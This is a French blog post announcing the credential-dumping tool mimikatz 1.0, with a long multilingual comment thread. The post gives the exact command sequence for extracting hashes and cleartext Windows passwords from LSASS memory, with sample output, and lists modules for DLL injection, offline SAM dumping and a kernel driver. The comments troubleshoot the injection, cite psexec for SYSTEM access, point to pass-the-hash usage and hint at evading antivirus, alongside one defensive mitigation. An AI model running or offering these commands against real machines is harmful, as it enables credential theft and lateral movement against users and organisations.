mimikatz 1.0 vient de sortir en version alpha beta RC !
2.0 alpha inside ;)
- binaires :
- sources : https://code.google.com/p/mimikatz/
- présentations : http://blog.gentilkiwi.com/presentations
Pour les pressés cherchant des mots de passe…
A exécuter en administrateur :
mimikatz # privilege::debug
Demande d'ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # sekurlsa::logonPasswords full
Authentification Id : 0;234870
Package d'authentification : NTLM
Utilisateur principal : Gentil Kiwi
Domaine d'authentification : vm-w8-rp-x
msv1_0 :
* Utilisateur : Gentil Kiwi
* Domaine : vm-w8-rp-x
* Hash LM : d0e9aee149655a6075e4540af1f22d3b
* Hash NTLM : cc36cf7a8514893efccd332446158b1a
kerberos :
* Utilisateur : Gentil Kiwi
* Domaine : vm-w8-rp-x
* Mot de passe : waza1234/
...
Modules
mimikatz est maintenant organisé autours de modules locaux :
"standard"; commandes de basecrypto; Cryptographie et certificatssekurlsa; Dump de hashes et de mots de passes Windowssystem; Gestion systèmeprocess; Manipulation des processusthread; Manipulation des threadsservice; Manipulation des servicesprivilege; Manipulation des privilègeswinmine; Manipulation du démineur de Windows XP (démonstration)minesweeper; Manipulation du démineur de Windows Vista et 7 (démonstration)nogpo; Pour éviter quelques GPO trivialessamdump; Dump de SAM offlineinject; Injecteur de librairiests; Manipulations Terminal Serverdivers; Fonctions diverses trop petites pour s’émanciper
A part pour le module « standard », la séparation du module et de la fonction appelée se fait avec le séparateur ::
Exemple : inject::process lsass.exe sekurlsa.dll
Librairies
Ce n’est pas forcément le plus discret, mais j’aime injecter des librairies
sekurlsa; manipulation des données de sécurités dans LSASSklock; manipulation de bureauxkelloworld; libraire à injecter, pour l’exemple
Pilote
Être administrateur n’est pas toujours suffisant, il peut aussi être intéressant de disposer d’un point d’entrée en mode utilisateur.
Un pilote, mimikatz.sys est donc disponible.
pilote mimikatz.sys; manipulation noyau
Les commandes distantes peuvent être appelées en les précédants d’un :
@pour les libraires (@seul clos la connexion à la librairie, et la décharge)!pour le pilotemimikatz(!seul clos la connexion au pilote)
Ping : effeciently dumping Windows password hashes « Daniel Weis's I.T Security Blog
Ping : effeciently dumping Windows password hashes - Daniel Weis - Blogs - Telligent
Ping : Dis9 Team » Dump Windows password hashes efficiently
Ping : Mimikatz Contraseñas de Windows « Seguridad y Redes
Unbeatable tool :), nice work.
Ping : Obtener Contraseña Administrador de Windows desde Windows (Sin Hash NTML/LM) « sanchezdiego.com.ar
Ping : Latino » Blog Archive » Mimikatz Contraseñas de Windows
Love this tool! Had no idea Windows stored passwords in plaintext, by the way.
Windows don’t store passwords in plaintext, it keeps them in memory in reversible way.
How did you come about finding the exploit?
This is not an exploit, but a memory trick :)
Like said in http://blog.gentilkiwi.com/securite/pass-the-pass , found in searching SSO mechanism of Terminal Server, and WDigest
Ping : Dumping Cleartext Credentials with Mimikatz « Daniel Weis's I.T Security Blog
Ping : Dumping Cleartext Credentials with Mimikatz - Daniel Weis - Blogs - Telligent
Ping : Security News « CyberOperations
Great tool congrats.
Merci pour mimikatz ;)
Ping : mimikatz: Tool To Recover Cleartext Passwords From Lsass – Dacheng Luo
Ping : Jeremiah Grossman, Security News – Episode 278 » 華人資安論壇與資安認知教育網誌
Ping : FeiFei's Blog » 获取Windows系统明文密码神器
Input » ^Z » in mimikatz.exe command, it’s will run always you ctrl-c.
Ping : 调试器神器 – mimikatz-获取windows处于active状态账号明文密码[转] | Vision's Blog
very good! thanks ~~~
3Q!
Ping : 轻量级神器 mimikatz – 直接抓取 Windows 明文密码! - Firedli's Blog
really an amazing tool! thanks for sharing! nice work!!
ccan i use it on win7?
for sure !
(don’t forget to run it as administrator ;))
thank you i will try it
i run it as administrator win7 sp1
but error
Hints are as follows:
Demande d’ACTIVATION du privilege: SeDebugPriviliege:OK
Erreur:Impossible d’injecter !; 拒绝访问
Erreur:pas ou plus de communication etablie
How so? thank
Send me full console output.
this is full console output.
win7 sp1 administrator run it
mimikatz # privilege::debug
Demande d’ACTIVATION du privilège : SeDebugPrivilege : OK
mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 580
Erreur : Impossible d’injecter ! ; (0×00000005) 拒绝访问。
mimikatz # @getLogonPasswords
Erreur : pas ou plus de communication établie
Acces denied come from 360 Safe security functions :)
i shut down 360 . It still can’t inject
Even disabled, some 360′s functions still reside in memory ; see my post about it : http://blog.gentilkiwi.com/retro-ingenierie/360-safe-hook-noyau
Ping : 通杀WIN服务器得明文密码神器
Ping : Outils, services, sites à (re)découvrir 2012 S08 | La Mare du Gof
Great! Thank U.
secpol.msc -> Local Policies -> User Rights Assignments -> Debug Programs
Remove Administrators/System
This is also how you stop Pass-The-hash from working too.
I’ve tried on Win7 and XP SP3 (english) and I get this error on XP
mimikatz # inject::process lsass.exe sekurlsa.dll
PROCESSENTRY32(lsass.exe).th32ProcessID = 640
Erreur : Impossible d’injecter ! ; (0×00000008) Not enough storage is available to process this command.
Same wtih Win7(64-bit) only the hex is different
Erreur : Impossible d’injecter ! ; (0xc0000022) {Access Denied} A process has requested access to an object, but has not been granted those access rights.
Nevermind :) I was not using the 64-bit (x64) version on my 64-bit OS.
Also to work around removing the sedebug priv using group policy and or secpol.msc, you can run as system (psexec -s cmd.exe) and everything works well. Very good tool, I hope you make even more additions! (@dumpall would be cool too, dump anything and everything this tool has to offer)
-william
0×00000008 is from NT 5 RDP session, not because debug right removed ;)
in both case : psexec -s XXX … no need of debug right, and bypass session isolation in RDP ;)
Ping : 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码!
Ping : 百寞' Blog » Blog Archive » 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码!
Ping : 转:windows下轻量级调试神器—mimikatz – 2哥博客|H3CIE|网络技术|数据中心|路由交换|网络安全|黑客技术|CCIE|Linux|服务器|wordpress
You can solve the problem of CreateRemoteThread the
http://www.cnasm.com/view.asp?classid=51&newsid=292
Thank’s !!! I’ve already relied on manual Stack creation and get it worked, but with NT 6, I prefer RtlCreateUserThread :)
Ping : 神器mimikatz使用命令方法总结 | Vision's Blog
Ping : mimikatz的使用方法总结 « Crackerban Team
it’s necessary an english version please
Ping : 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码! « x7z|关注网络安全|Web安全|最新0day漏洞|网站安全顾问
Isn’t this how Windows can send HTTP-Authentication using IE without prompting for the password? If so, could a program like Firefox, launched as the same user who is logged on, read those credentials and also pass HTTP-authentication without being prompted? This could add functionality to something like FF if this was so, could it not? I mean IE does it…
-mandingo-
In some way yes. But Windows does not need it for Kerberos or NTLM auth. Just for some Digest auth.
FireFox can use Kerberos and NTLM auth with SSO (see network.negotiate-auth.*), maybe wdigest too ?
In all case, no need for hack for that, Windows allow « normal » API to obtain responses to challenges.
I meant digest-auth. I wonder if FF could read it and then pass it on, or if they choose not to :)
It seems it’s a choice ; SSPI supports wdigest.
cf. http://technet.microsoft.com/library/cc780455.aspx
Ping : Unsung Heros (the list) « Cатсн²² (in)sесuяitу / ChrisJohnRiley
help me
On NT 5 RDP use psexec -s … (and avoid privilege::debug ;))
FYI, Windows 8 (dev-preview) is working for me so far. Haven’t tried all the commands yet but so far so good. Is there a way to run all commands planned? Maybe output to a single file?
-mandingo-
I’ve some surprises for windows 8 consummer preview :)
they’re are some problem with the current version, internal is 90% for x64, and 70% x86.
Ping : Drunken Security News – Episode 279 » 信息安全播客
Ping : Tonya Bacam, Security Onion – Episode 279 » 華人資安論壇與資安認知教育網誌
Ping : Live from CCDC – Episode 280 » 華人資安論壇與資安認知教育網誌
Ping : Recuperando contraseñas de Windows en texto plano (I de II)
Ping : 牛X神器-mimikatz | Yoio's Blog
Ping : 欺天: NLP | HACK | 社会工程学 | 金融
Ping : Remotely Recovering Windows Passwords in Plain Text « CYBER ARMS – Computer Security
Is source code available? Thanks
no, but getXXFunctions list all you need…
Ping : 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码 | Linglin'S Blog
Ping : Episode 647 – Quantum Encryption,TriCk, 100 days, Mimikatz, and MySQL DoS | InfoSec Daily
Ping : Obtener Contraseña Administrador de Windows desde Windows (Sin Hash NTML/LM) | GEEKNOPATAS
Пополним коллекцию благодарностей на иностранных языках :)
Спасибо!
Hey, how about a natively english version? I had french in school, but it’s a bit rusty tbh ;)
Ping : Pw » 关注互联网技术,专注于信息安全,记录生命点滴故事.
Ping : Recovering Windows Passwords Remotely in Plain Text | IT Security
Ping : mimikatz获取Windows系统明文密码神器 | 网络大学|Network University
Ping : Mimikatz creator to Speak at PH Days Conference « CYBER ARMS – Computer Security
LOL,C’est un logiciel qui peut faire beaucoup de trucs,ça me plais beaucoup ^.^
mais il y a trop de méthodes TT,chaque fois je dois venir ici pour chercher le rappel ,peut-être c’est moi qui me suis trompé ,puisque la langue française est compliqué pour nous ,toute façon il faut apprendre .
Bon courage et je vous souhaite une très bonne année 2012 .
Very nice work. I successfully got clear text passwords by injecting into LSASS on Windows 2008 R2, however, I had a problem on Windows 7 x64. I launched a local cmd.exe shell as Local System by using PsExec. From there I launched mimikatz. After typing @getLogonPasswords, the data was there but the wdigest passwords were completely garbled text. I guess something went wrong with the injection. I wonder if it has anything to do with ASLR.
No problem with ASLR ;) It must be unicode or incorect unicode string for computer account, but appear to be valid in unicode… :( (try chcp before ;))
Why did you use psexec for get system ? you can use
privilege::debugYes, privilege::debug worked better. On this PC, I was only able to retrieve my smartcard PIN, because I don’t log in with my password. :)
mimikatz dumped your pin code ? what is your middleware for smartcard ?
RSA
SecureID ?
mimikatz displayed your pin code of RSA SecureID ? (or entire pin + code ?)
If so, I’ll LOVE this provider !
Yeah — it showed just the portion of the PIN that I type to login/unlock my PC. It did not of course display the automatically changing code that is shown on the LCD display. :)
Note that I must have recently unlocked my PC in order for the RSA SecureID PIN to show up — if I have not logged in or unlocked the PC within 30 minutes or so, the PIN does not appear in the list. Alright, here is my mimikatz output. I ran it first, and did not see RSA PIN. Then, I locked my workstation and then unlocked it, then I ran
@getLogonPasswordsagain. Then I did see my RSA PIN displayed. I have tried to change names and hashes to protect the innocent. :)mimikatz # @getLogonPasswords Authentification Id : 0;618713 Package d'authentification : Kerberos Utilisateur principal : demoUser Domaine d'authentification : FakeDomain msv1_0 : lm{ 00000000000000000000000000000000 }, ntlm{ a1b2c3d4a1b2c3d4a1b2c3d4a1b2c3 } wdigest : tspkg : n.t. (LUID KO) Authentification Id : 0;613648 Package d'authentification : Kerberos Utilisateur principal : demoUser Domaine d'authentification : FakeDomain msv1_0 : lm{ 00000000000000000000000000000000 }, ntlm{ a1b2c3d4a1b2c3d4a1b2c3d4a1b2c3 } wdigest : tspkg : n.t. (LUID KO)mimikatz # @getLogonPasswords Authentification Id : 0;618713 Package d'authentification : Kerberos Utilisateur principal : demoUser Domaine d'authentification : FakeDomain msv1_0 : lm{ 00000000000000000000000000000000 }, ntlm{ a1b2c3d4a1b2c3d4a1b2c3d4a1b2c3 } wdigest : THIS_IS_MY_RSA_PIN tspkg : n.t. (LUID KO) Authentification Id : 0;613648 Package d'authentification : Kerberos Utilisateur principal : demoUser Domaine d'authentification : FakeDomain msv1_0 : lm{ 00000000000000000000000000000000 }, ntlm{ a1b2c3d4a1b2c3d4a1b2c3d4a1b2c3 } wdigest : THIS_IS_MY_RSA_PIN tspkg : n.t. (LUID KO)So funny :), maybe you can try
@getLogonPasswords fullfor « full » informations.Is your
NTLM(RSA_PIN)same asmsv1_0 NTLMhash ?I’m @PHDays, unfortunately I cannot test it now :)
That’s a good question… I’ll have to crack it with something like ighashgpu. Since I know what it is, it should be pretty easy to crack the hash. :)
You don’t have to do that !
whent it’s available, take the cleartext pin code , hash it in NTLM, compare :)
Sorry, I got distracted with other things…
No it’s odd – mimikatz will dump my SecureID PIN as the « wdigest » but the corresponding NTLM hash does not match either the PIN or my user account password. I don’t know what it is.
Ping : Security News #0×11: Take Hold of the Flame « CyberOperations
Ping : Recovering Clear Text Passwords – Updates « CYBER ARMS – Computer Security
congratulations!! nice work!!
just one request: can you create a full english version?
Merci :D
I made this video with your tool, I hope that you like it
http://www.youtube.com/watch?v=J_F9CtcSxm8
yes… despite the song ;)
i download your source code .but i find something could not find ,link the function GetMSVLogonData, can you show how does it work ? thank you ! :)
Pass-the-Hash is already well documented on the net but I’ll release MSV files latter ;)
Ping : 神器mimikatz使用方法 | Individual World
Ping : 法国黑客神器 mimikatz 直接读取管理员密码 通杀xp win2003 win7 win2008 初体验 | 执魄's Blog
Ping : 神器mimikatz | WG1博客
Ping : 抓Windows系统的明文密码 - F19ht's blog
这工具太强大了!
Ping : Làm thế nào để đồng bộ Active Directory Sync trong khi Username và Password bị mã hoá theo OS 32/64bit ? (tiếp theo) | Thangletoan’s Weblog
Ping : 神器mimikatz | 冰锋刺客
Ping : 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码 | Startend.Blog's
Ping : 神器mimikatz | 潇湘博客
Ping : mimikatz - 网站安全,服务器安全,防御检测
Ping : Password Cracking « Aggressive Virus Defense
mimikatz вещь зачётная!
Посмотрел презентацию, увидел слово СПАСИБО!
т.ч. может поймёшь) Большое спасибо тебе!
Ping : 问君几多愁 » msf中使用MIMIKATZ
Ping : 神器 – mimikatz | 小兮博客
Ping : Lóránd Somogyi » Openconnect replacement for Cisco AnyConnect on Linux (Ubuntu)
Ping : Grab Windows Password In Plain Text!!!
mimikatz is cool :)
added it
http://keralacyberforce.in/hacking-windows-8-crack-the-login-passwords-in-plain-text/
Se me hace muy difícil entender el francés :3
No hay una versión el inglés?
No :)
Ping : 轻量级调试器神器 – mimikatz – 直接抓取 Windows 明文密码 | 小i博客
Ping : 如何获取已登录账户的Windows密码 | lzsb.me
Mimikatz FTW! Allowed me to circumvent my IT department’s issuing of a new RSA certificate when I changed my home PC, thus saving much time and stress. Merci!
Ping : Windows 8 Clear Text Passwords from Locked Desktop with Mimikatz « CYBER ARMS – Computer Security
Ping : Saber la pass del ADMIN « 3lhacker – Comunidad Informatica
Bonjour,
Pour info, mimikatz ne fonctionne pas sous windows 2003 enterprise (english) en version pré-servicepack.
“The procedure entry point EncodePointer could not be located in the dynamic link library KERNEL32.dll”. La version de la dll est 5.2.3790.
Cela fonctionne bien une fois le SP2 installé (SP1 non testé).
Un grand merci pour l’outil!
C’est « hélas » inhérent au compilateur, et non à
mimikatzhttp://msdn.microsoft.com/en-us/library/ms235435%28v=vs.100%29.aspx (cf. commentaires)
GK
How do you pass the hash with mimikatz
Inject
sekurlsa.dllthen http://blog.gentilkiwi.com/mimikatz/librairies/sekurlsa/msv1_0#addLogonSessionGrands mercis de votre réponse – Babylon Translation :)
Ping : 2012 in Review and a Look Forward to 2013
这全是鸟语啊,外国的黑客,你们好!你说的我完全不懂昂,真不知道你们的鸟语,你怎么学会的呢!
Ping : Metasploit: Postexploitation – Passwort im Klartext auslesen | freie-welt.com
Ping : 本机Windows密码查看神器-mimikatz | 千行站
hello – any chances to have this tool in english? :) thx
Ping : Metasploit: Postexploitation – Passwort im Klartext auslesen | freie-welt.com
Ping : Jak na export privatniho klice certifikatu, kdyz je oznacen jako non-exportable | logon
Ping : 直接爆WIN2003+服务器的管理员密码的Mimikatz软件 | 紫云残雪's Blog
Ping : Hacking Windows with Password Grabbing | ColeSec Security
If you press the TAB key can make up the keywords, the software will be best
Ping : Remotely Recovering Windows Passwords in Plain Text « ITSolutionDesign
Ping : .:[ d4 n3wS ]:. » Mimikatz
Ping : 神器mimikatz使用命令方法总结 | rambowind
Ping : 扫雷神器 – mimikatz
Ping : Obtener contraseña de administrador de Windows desde el propio Windows | DURKH3IM'S BLOG
Ping : mimikatz-en (English Translation of Mimikatz) Release « AttackVector.org
Ping : 法国黑客神器 mimikatz 直接读取管理员密码 通杀Win系 – 思安阁
A good tool! I hope an English version!
Ping : Wouter Veugelen blog » English version of Mimikatz: Mimikatz-en.exe
Ping : WCE and Mimikatz in memory over meterpreter | Justin - Blog
Ping : mimikatz | Blog de Gentil Kiwi | opexxxblog
Can you attack remote PC’s with this or you have to be on the actual clients machine to run this? You would also need to have admin rights I’m assuming.
Good tool, now just trying to see if it can be executed to gain access to a remote pc. I’m the IT guy at work.
Keep up the good work.
This is *NOT* an attack tool.
Ping : Reflective DLL Injection with PowerShell | clymb3r
Ping : [Intermédiaire] Récupérer un mot de passe Windows avec Mimikatz | Yoann's Workshop
Ping : Modifying Mimikatz to be Loaded Using Invoke-ReflectiveDLLInjection.ps1 | clymb3r
Ping : [Sécurité] Mimikatz | aurelienantonoff
Increíble herramienta!
Are you planning to release samdump in version 2.0?
I work on it ;)
Is there any way to run mimikatz in memory instead of copying it to the remote machine?
Yeah :
;)
Microsoft Forefront is detecting the Alpha as well as RC of Mimikatz, is there a way we can run it without encrypting the exe to bypass the AV.
Build it :)
What commandline format in new alpha version ?
in batch mode is crash
Fixed =) (some CRT defined vars)